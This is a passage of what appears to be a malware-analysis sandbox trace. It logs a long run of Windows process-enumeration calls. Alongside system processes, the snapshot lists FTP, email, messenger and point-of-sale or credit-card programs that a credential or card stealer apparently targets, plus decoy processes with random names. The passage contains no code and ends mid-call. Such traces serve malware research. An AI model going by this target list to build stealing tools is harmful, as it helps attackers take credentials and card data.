lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.954] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.956] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.958] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.960] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.965] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0285.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0285.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0285.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0285.049] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0285.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0285.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0285.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0285.137] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0285.139] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0285.141] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0285.152] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0285.154] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0285.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0285.227] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0285.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0285.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0285.234] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0285.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0285.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0285.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0285.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0285.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0285.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0285.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0285.251] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0285.253] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0285.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0285.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0285.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0285.345] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0285.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0285.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0285.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0285.357] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0285.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0285.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0285.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0285.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0285.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0285.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0285.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0285.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0285.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0285.431] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0285.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0285.436] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0285.438] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0285.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0285.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0285.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0285.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0285.450] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0285.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0285.454] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0285.456] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0285.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0285.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0285.527] Process32Next (in: 